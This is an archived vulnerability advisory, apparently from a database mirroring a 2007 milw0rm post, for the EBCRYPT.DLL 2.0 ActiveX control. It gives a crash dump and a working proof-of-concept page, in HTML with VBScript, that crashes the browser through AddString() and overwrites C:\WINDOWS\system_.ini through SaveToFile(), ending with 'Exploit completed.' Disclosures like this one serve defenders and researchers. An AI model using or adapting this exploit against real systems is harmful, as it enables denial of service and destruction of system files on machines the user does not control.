EB Design Pty Ltd (EBCRYPT.DLL 2.0) Multiple Remote Vulnerabilites

🗓️ 01 Jul 2014 00:00:00Reported by RootType

EB Design Pty Ltd (EBCRYPT.DLL 2.0) Multiple Remote Vulnerabilities - DLL v2.0, DoS, File Overwrit


                                                &#60;pre&#62;
&#60;code&#62;&#60;span style=&#34;font: 10pt Courier New;&#34;&#62;&#60;span class=&#34;general1-symbol&#34;&#62;&#60;body bgcolor=&#34;#E0E0E0&#34;&#62;-----------------------------------------------------------------------------
 &#60;b&#62;EB Design Pty Ltd (EBCRYPT.DLL v.2.0) Multiple Remote Vulnerabilites&#60;/b&#62;
 url: http://www.ebcrypt.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 &#60;b&#62;&#60;font color=&#39;red&#39;&#62;This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.&#60;/font&#62;&#60;/b&#62;

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 &#60;b&#62;Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 KillBitSet: False&#60;/b&#62;

 This control contains two vulnerabilities:
 1) It is possible to cause a DoS passing at least one character to
    &#34;AddString()&#34; method. This is a dump of exception:

    Access violation when reading [3A433B2E]
    03158CA4   FF51 10 =&#62; CALL DWORD PTR DS:[ECX+10] &#60;-- crash
    ECX 3A433B2E &#60;-- &#34;.;C:&#34; (is a part of path)

 2) It is possible to overwrite a file passed as argument to &#34;SaveToFile()&#34;
    method
-----------------------------------------------------------------------------


&#60;object classid=&#39;clsid:3C34EAC7-9904-4415-BBE4-82AA8C0C0BE8&#39; id=&#39;test1&#39;&#62;&#60;/object&#62;
&#60;object classid=&#39;clsid:B1E7505E-BBFD-42BF-98C9-602205A1504C&#39; id=&#39;test2&#39;&#62;&#60;/object&#62;

&#60;input language=VBScript onclick=tryAddString() type=button value=&#39;Click here to start AddString test    &#39;&#62;

&#60;input language=VBScript onclick=trySaveToFile() type=button value=&#39;Click here to start SaveToFile test&#39;&#62;

&#60;script language=&#39;vbscript&#39;&#62;
  Sub tryAddString
   test1.AddString &#34;A&#34;
  End Sub

  Sub trySaveToFile
   test2.SaveToFile &#34;C:\WINDOWS\system_.ini&#34;
   MsgBox &#34;Exploit completed.&#34;
  End Sub
&#60;/script&#62;
&#60;/span&#62;&#60;/span&#62;
&#60;/code&#62;&#60;/pre&#62;

# milw0rm.com [2007-09-24]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1